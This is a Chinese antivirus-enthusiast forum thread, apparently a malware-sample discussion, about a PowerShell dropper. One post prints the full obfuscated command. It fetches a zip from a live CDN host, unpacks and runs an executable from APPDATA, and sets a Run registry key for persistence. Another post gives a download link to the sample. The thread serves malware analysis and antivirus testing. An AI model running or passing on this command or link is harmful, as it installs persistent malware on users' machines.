powershell

显示全部楼层 · 发表于 2024-10-12 20:34:21

本帖最后由 qlskj 于 2024-10-12 20:42 编辑

https://ack20.lanzout.com/iESby2ced9kb好像有潜伏期

显示全部楼层 · 发表于 2024-10-12 20:39:37

$Z1Avt6Vz='https://trghsv41.b-cdn.net/tr4updated.zip'; $B1RgjW4C=$env:APPDATA+'\kRpg5cKY'; $8GEo1rjR=$env:APPDATA+'\cknoqrf4.zip'; $Q0D6Rs2b=$B1RgjW4C+'\Wintohdd.exe'; if (-not (teST-path $B1RgjW4C)) { New-iTEm -Path $B1RgjW4C -ItemType Directory }; STARt-BitsTRAnSfeR -Source $Z1Avt6Vz -Destination $8GEo1rjR; ExpAnd-aRChIVe -Path $8GEo1rjR -DestinationPath $B1RgjW4C -Force; REmoVE-iteM $8GEo1rj4R; STArt-pRocEss $Q0D6Rs2b; NeW-itEmPRoPERtY -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'BuUUAwko' -Value $Q0D6Rs2b -PropertyType 'String';

复制代码

显示全部楼层 · 发表于 2024-10-12 20:40:34

QVM360 发表于 2024-10-12 20:39

下载"hxxps://trghsv41.b-cdn.net/tr4updated.zip"，解压后加自启动

显示全部楼层 · 发表于 2024-10-12 20:44:21

ESET解压秒

显示全部楼层 · 发表于 2024-10-12 20:45:21

显示全部楼层 · 发表于 2024-10-12 20:45:25

本帖最后由 LTSC1809 于 2024-10-12 20:52 编辑

测试多款杀软重复内容已编辑。

显示全部楼层 · 发表于 2024-10-12 20:46:50

LTSC1809 发表于 2024-10-12 20:45
卡巴 pdm竟然起了一个类似hips的作用

这是注入explorer?

显示全部楼层 · 发表于 2024-10-12 20:47:28

QVM360 发表于 2024-10-12 20:46
这是注入explorer?

不是的，我win+r输入就是这样因为是explorer启动的运行窗口
如果我用cmd输入他会变成阻止cmd

显示全部楼层 · 发表于 2024-10-12 20:48:31

本帖最后由 LTSC1809 于 2024-10-12 20:53 编辑

测试多款杀软重复内容已编辑

显示全部楼层 · 发表于 2024-10-12 20:48:32

LTSC1809 发表于 2024-10-12 20:47
不是的，我win+r输入就是这样因为是explorer启动的运行窗口
如果我用cmd输入他会变成阻止cmd

卡巴杀错了啊，这杀的是explorer

[病毒样本] powershell